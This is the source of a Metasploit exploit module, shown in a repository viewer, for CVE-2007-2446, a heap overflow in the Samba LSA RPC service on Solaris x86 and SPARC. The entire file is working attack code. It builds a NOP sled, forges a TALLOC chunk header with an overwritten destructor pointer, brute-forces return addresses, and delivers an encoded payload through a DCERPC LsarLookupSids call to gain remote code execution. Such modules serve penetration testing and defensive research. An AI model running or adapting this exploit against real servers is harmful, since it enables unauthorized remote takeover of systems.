root / modules / exploits / solaris / samba / lsa_transnames_heap.rb @ master
History | View | Annotate | Download (5.4 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = AverageRanking |
| 18 |
|
| 19 |
include Msf::Exploit::Remote::DCERPC |
| 20 |
include Msf::Exploit::Remote::SMB |
| 21 |
include Msf::Exploit::Brute |
| 22 |
|
| 23 |
def initialize(info = {}) |
| 24 |
super(update_info(info,
|
| 25 |
'Name' => 'Samba lsa_io_trans_names Heap Overflow', |
| 26 |
'Description' => %q{ |
| 27 |
This module triggers a heap overflow in the LSA RPC service |
| 28 |
of the Samba daemon. This module uses the TALLOC chunk overwrite |
| 29 |
method (credit Ramon and Adriano), which only works with Samba |
| 30 |
versions 3.0.21-3.0.24. Additionally, this module will not work |
| 31 |
when the Samba "log level" parameter is higher than "2". |
| 32 |
},
|
| 33 |
'Author' =>
|
| 34 |
[ |
| 35 |
'ramon',
|
| 36 |
'Adriano Lima <adriano[at]risesecurity.org>',
|
| 37 |
'hdm'
|
| 38 |
], |
| 39 |
'License' => MSF_LICENSE, |
| 40 |
'Version' => '$Revision$', |
| 41 |
'References' =>
|
| 42 |
[ |
| 43 |
['CVE', '2007-2446'], |
| 44 |
['OSVDB', '34699'], |
| 45 |
], |
| 46 |
'Privileged' => true, |
| 47 |
'Payload' =>
|
| 48 |
{
|
| 49 |
'Space' => 1024, |
| 50 |
}, |
| 51 |
'Platform' => 'solaris', |
| 52 |
'Targets' =>
|
| 53 |
[ |
| 54 |
['Solaris 8/9/10 x86 Samba 3.0.21-3.0.24',
|
| 55 |
{
|
| 56 |
'Platform' => 'solaris', |
| 57 |
'Arch' => [ ARCH_X86 ], |
| 58 |
'Nops' => 64 * 1024, |
| 59 |
'Bruteforce' =>
|
| 60 |
{
|
| 61 |
'Start' => { 'Ret' => 0x082f2000 }, |
| 62 |
'Stop' => { 'Ret' => 0x084f2000 }, |
| 63 |
'Step' => 60 * 1024, |
| 64 |
} |
| 65 |
} |
| 66 |
], |
| 67 |
['Solaris 8/9/10 SPARC Samba 3.0.21-3.0.24',
|
| 68 |
{
|
| 69 |
'Platform' => 'solaris', |
| 70 |
'Arch' => [ ARCH_SPARC ], |
| 71 |
'Nops' => 64 * 1024, |
| 72 |
'Bruteforce' =>
|
| 73 |
{
|
| 74 |
'Start' => { 'Ret' => 0x00322000 }, |
| 75 |
'Stop' => { 'Ret' => 0x00722000 }, |
| 76 |
'Step' => 60 * 1024, |
| 77 |
} |
| 78 |
} |
| 79 |
], |
| 80 |
['DEBUG',
|
| 81 |
{
|
| 82 |
'Platform' => 'solaris', |
| 83 |
'Arch' => [ ARCH_X86 ], |
| 84 |
'Nops' => 64 * 1024, |
| 85 |
'Bruteforce' =>
|
| 86 |
{
|
| 87 |
'Start' => { 'Ret' => 0xaabbccdd }, |
| 88 |
'Stop' => { 'Ret' => 0xaabbccdd }, |
| 89 |
'Step' => 60 * 1024, |
| 90 |
} |
| 91 |
} |
| 92 |
], |
| 93 |
], |
| 94 |
'DisclosureDate' => 'May 14 2007', |
| 95 |
'DefaultTarget' => 0 |
| 96 |
)) |
| 97 |
|
| 98 |
register_options( |
| 99 |
[ |
| 100 |
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']), |
| 101 |
], self.class)
|
| 102 |
|
| 103 |
end
|
| 104 |
|
| 105 |
# Need to perform target detection
|
| 106 |
def autofilter |
| 107 |
false
|
| 108 |
end
|
| 109 |
|
| 110 |
def brute_exploit(target_addrs) |
| 111 |
|
| 112 |
if(not @nops) |
| 113 |
if (target['Nops'] > 0) |
| 114 |
print_status("Creating nop sled....")
|
| 115 |
@nops = make_nops(target['Nops']) |
| 116 |
else
|
| 117 |
@nops = '' |
| 118 |
end
|
| 119 |
end
|
| 120 |
|
| 121 |
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret']) |
| 122 |
|
| 123 |
nops = @nops
|
| 124 |
pipe = datastore['SMBPIPE'].downcase
|
| 125 |
|
| 126 |
print_status("Connecting to the SMB service...")
|
| 127 |
connect() |
| 128 |
smb_login() |
| 129 |
|
| 130 |
datastore['DCERPC::fake_bind_multi'] = false |
| 131 |
|
| 132 |
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"]) |
| 133 |
print_status("Binding to #{handle} ...")
|
| 134 |
dcerpc_bind(handle) |
| 135 |
print_status("Bound to #{handle} ...")
|
| 136 |
|
| 137 |
num_entries = 272
|
| 138 |
num_entries2 = 288
|
| 139 |
|
| 140 |
#
|
| 141 |
# First talloc_chunk
|
| 142 |
# 16 bits align
|
| 143 |
# 16 bits sid_name_use
|
| 144 |
# 16 bits uni_str_len
|
| 145 |
# 16 bits uni_max_len
|
| 146 |
# 32 bits buffer
|
| 147 |
# 32 bits domain_idx
|
| 148 |
#
|
| 149 |
buf = (('A' * 16) * num_entries) |
| 150 |
|
| 151 |
# Padding
|
| 152 |
buf << 'A' * 8 |
| 153 |
|
| 154 |
# TALLOC_MAGIC
|
| 155 |
talloc_magic = "\x70\xec\x14\xe8"
|
| 156 |
|
| 157 |
# Second talloc_chunk header
|
| 158 |
buf << 'A' * 8 # next, prev |
| 159 |
buf << NDR.long(0) + NDR.long(0) # parent, child |
| 160 |
buf << NDR.long(0) # refs |
| 161 |
buf << [target_addrs['Ret']].pack('V') # destructor |
| 162 |
buf << 'A' * 4 # name |
| 163 |
buf << 'A' * 4 # size |
| 164 |
buf << talloc_magic # flags
|
| 165 |
|
| 166 |
stub = lsa_open_policy(dcerpc) |
| 167 |
|
| 168 |
stub << NDR.long(0) # num_entries |
| 169 |
stub << NDR.long(0) # ptr_sid_enum |
| 170 |
stub << NDR.long(num_entries) # num_entries |
| 171 |
stub << NDR.long(0x20004) # ptr_trans_names |
| 172 |
stub << NDR.long(num_entries2) # num_entries2 |
| 173 |
stub << buf |
| 174 |
stub << nops |
| 175 |
stub << payload.encoded |
| 176 |
|
| 177 |
print_status("Calling the vulnerable function...")
|
| 178 |
|
| 179 |
begin
|
| 180 |
# LsarLookupSids
|
| 181 |
dcerpc.call(0x0f, stub)
|
| 182 |
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError |
| 183 |
print_status('Server did not respond, this is expected')
|
| 184 |
rescue Rex::Proto::DCERPC::Exceptions::Fault |
| 185 |
print_error('Server is most likely patched...')
|
| 186 |
rescue => e
|
| 187 |
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ |
| 188 |
print_status('Server disconnected, this is expected')
|
| 189 |
else
|
| 190 |
print_error("Error: #{e.class}: #{e}")
|
| 191 |
end
|
| 192 |
end
|
| 193 |
|
| 194 |
handler |
| 195 |
disconnect |
| 196 |
end
|
| 197 |
|
| 198 |
def lsa_open_policy(dcerpc, server="\\") |
| 199 |
stubdata = |
| 200 |
# Server
|
| 201 |
NDR.uwstring(server) +
|
| 202 |
# Object Attributes
|
| 203 |
NDR.long(24) + # SIZE |
| 204 |
NDR.long(0) + # LSPTR |
| 205 |
NDR.long(0) + # NAME |
| 206 |
NDR.long(0) + # ATTRS |
| 207 |
NDR.long(0) + # SEC DES |
| 208 |
# LSA QOS PTR
|
| 209 |
NDR.long(1) + # Referent |
| 210 |
NDR.long(12) + # Length |
| 211 |
NDR.long(2) + # Impersonation |
| 212 |
NDR.long(1) + # Context Tracking |
| 213 |
NDR.long(0) + # Effective Only |
| 214 |
# Access Mask
|
| 215 |
NDR.long(0x02000000) |
| 216 |
|
| 217 |
res = dcerpc.call(6, stubdata)
|
| 218 |
|
| 219 |
dcerpc.last_response.stub_data[0,20] |
| 220 |
end
|
| 221 |
|
| 222 |
|
| 223 |
end
|
| 224 |
|